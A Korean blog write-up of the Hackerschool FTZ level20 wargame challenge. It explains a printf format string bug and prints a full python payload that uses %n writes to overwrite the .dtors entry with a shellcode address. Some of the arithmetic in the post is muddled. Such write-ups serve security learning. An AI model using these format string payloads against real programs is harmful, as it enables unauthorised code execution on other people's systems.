FTZ level20

2021. 3. 17. 03:20·Write-Up/해커스쿨 FTZ
반응형

대망의 마지막문제

 

원래 printf를 쓸때

printf("%s",blesh)이런식으로 포맷스트링을 넣어서 사용한다.

 

하지만 위 문제는 포맷 스트링 문자열을 인자로 넣지 않고 buf변수를 바로 넣어 호출하였다.

이점을 이용하여  format string bug 를 이용할것이다.

 

생소한 %n을 이용하여 변수값을 변조할 수 있다.

 

예를들어 AAAA 를 입력했다고 가정했을때

처음에는 당연히 AAAA를 출력한다. %n을 만나면 지금까지 출력된 자릿수를 계산한다. 계산하니 AAAA 4자리이다. 이제 스택의 다음 4바이트의 내용을 확인하면 0x41414141(AAAA)라는 것을 알 수 있다.. 메모리의  0x41414141이라는 주소에 계산한 자릿수 4를 써버린다. 그리고 %n 앞에 다른서식문자를 이용하여 %n이 인식하는 자릿수를 지정할 수도 있다.

예를 들어  %100c%n 이렇게 넣어버리면 100이라는 숫자를 넣는다는 것이다.

 

ret주소에 쉘코드 주소를 덮어 쓸수 있다는 것이다.

 

일단 ret주소와 쉘코드 주소부터 알아보자

 

 

 

 

ret주소는 gdb가 안되서 dtors 주소를 알아내었다.

08049594 + 4 = 08049598

 

shellcode 주소 

bffffee7

 

 

0xfee7 (65255(10)) 는 0x08049598에 넣고

0xbfff (49151(10)) 는 0x0804959a에 넣게 된다.

 

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%8x 

fee7에서 앞의 자리수 40 을 뺀 결과 65215

 

65255 - 0x1bfff = 49,432

 

"AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%8x%65215c%n%49432c%n"

 

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%65215c%n"+"%49432c%n"'; cat) | ./attackme​

 

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%65215c%n"+"%49432c%n"'; cat) | ./attackme​

 

끝

 

반응형

'Write-Up > 해커스쿨 FTZ' 카테고리의 다른 글

FTZ level19  (0) 2021.03.16
FTZ level18  (0) 2021.03.16
FTZ level17  (0) 2021.03.16
FTZ level16  (0) 2021.03.16
FTZ level15  (0) 2021.03.16
'Write-Up/해커스쿨 FTZ' 카테고리의 다른 글
  • FTZ level19
  • FTZ level18
  • FTZ level17
  • FTZ level16
Penguin Dev
Penguin Dev
What does the Penguin say?
    글쓰기 관리
  • Penguin Dev
    Pengha!
    Penguin Dev
  • 전체
    오늘
    어제
    • 분류 전체보기 (150)
      • Java & Spring (2)
      • System Hacking (4)
      • Algorithm (8)
        • Sorting algorithm (3)
      • Python (6)
      • DB (1)
      • Web (2)
        • Web Hacking & Security (2)
      • Write-Up (108)
        • pwnable.kr (17)
        • HackCTF (16)
        • 해커스쿨 FTZ (21)
        • LOB(lord of bufferoverflow) (19)
        • LOS (lord of sql injection) (28)
        • XSS-game (6)
        • Webhacking.kr (1)
      • SUA (19)
        • 오픈소스 보안 (19)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    HashMap
    nop sled
    ConcurrentHashMap
    AtomicLong
    코딩테스트
    코드트리조별과제
    tabat
    동시성처리
    spring boot
    Java
    CountDownLatch
    spring
    시스템해킹
    LOB
    Lock
    hashmap vs concurrenthashmap
    putval()
    코드트리
    Bubble Sort
    동시성
    sqlinjection
    DB정리
    selection sort
    lord of bufferoverflow
    Hashtable
    enumerate #list comprehension
    concurrenthashmap vs hashmap
    thread-safe
  • 최근 댓글

  • 반응형
  • hELLO· Designed By정상우.v4.10.3
Penguin Dev
FTZ level20
상단으로

티스토리툴바